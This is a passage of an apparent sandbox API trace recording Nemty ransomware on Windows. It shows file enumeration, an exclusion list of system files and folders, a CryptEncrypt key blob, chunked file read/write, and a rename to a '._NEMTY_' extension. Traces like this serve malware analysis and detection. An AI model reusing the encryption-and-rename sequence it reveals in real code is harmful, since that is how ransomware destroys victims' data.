hHeap=0x4f90000) returned 1 [0165.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0165.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0165.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0165.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0165.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0165.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0165.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0165.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0165.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.833] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cd1c5d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cd1c5d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d33ded, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2=".") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="..") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="...") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="windows") returned -1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="$RECYCLE.BIN") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="rsa") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="NTDETECT.COM") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="ntldr") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="MSDOS.SYS") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="IO.SYS") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="boot.ini") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="boot.ini") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="AUTOEXEC.BAT") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="ntuser.dat") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="desktop.ini") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="CONFIG.SYS") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="RECYCLER") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="BOOTSECT.BAK") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="bootmgr") returned 1 [0165.833] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="programdata") returned 1 [0165.834] lstrcmpiW (lpString1="undocked_black_moon-first-quarter.png", lpString2="appdata") returned 1 [0165.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0165.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0165.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-first-quarter.png", lpUsedDefaultChar=0x0) returned 37 [0165.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0165.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0165.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-first-quarter.png", lpUsedDefaultChar=0x0) returned 37 [0165.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0165.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0165.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0165.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0165.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-first-quarter.png", lpUsedDefaultChar=0x0) returned 37 [0165.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0165.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0165.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0165.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0165.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter.png", cchWideChar=37, lpMultiByteStr=0x6345640, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-first-quarter.png", lpUsedDefaultChar=0x0) returned 37 [0165.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0165.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340188 [0165.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0165.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340260 [0165.834] Sleep (dwMilliseconds=0x5) [0165.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x167efe50, dwHighDateTime=0x1d561e8)) [0165.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x167efe50, dwHighDateTime=0x1d561e8)) [0165.841] GetLastError () returned 0x5 [0165.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.841] GetLastError () returned 0x5 [0165.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0165.842] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0165.842] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0165.842] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0165.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340338 [0165.842] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340338, pcchString=0x653e91c | out: pszString="vRztm5lVnxHcA2ACf2T1NJX04llEMOpjyKpJRFCs50R/Lml2RKeVmzhf7mLQ5Ols\r\nyuJSvHfNu3DiAq9Rv2R6unEROb7LIXo6/hR6KKQkmsu6LRFjF5H89NWX/+xYajnh\r\nx/R+1KmLDIBTXJI5ThJDW0FmbRN82kKhyG6Y+ZrbpgTWxpsSj+ct9otl0EUi/c4o\r\nIVjg9W5rwjZZIOOU9lHKehczrM6kO74gwIVYaFYzScU6zFRBNdBzyrbM04Eihcsb\r\nhSqTvutoGfgMxMPjr4I/uOjSwgS/lYeKdzscsjdasOCsyKKG9zbuIDeIOYOcA1OB\r\nR5TgXaM8bV5M3EfMBdDrfA==\r\n", pcchString=0x653e91c) returned 1 [0165.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0165.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0165.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0165.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0165.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340338 [0165.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0165.842] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-first-quarter.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-first-quarter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0165.842] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0165.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0165.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.889] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.899] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.948] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340338, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0165.955] CloseHandle (hObject=0xffffffff) returned 0 [0165.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0165.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0165.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0165.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0165.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0165.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0165.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63440c0 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0165.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-first-quarter.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-first-quarter.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-first-quarter.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-first-quarter.png._nemty_kgobjgd_")) returned 0 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0165.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.955] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cf7dba, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cf7dba, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d59f4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x60f5, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0165.955] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2=".") returned 1 [0165.955] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="..") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="...") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="windows") returned -1 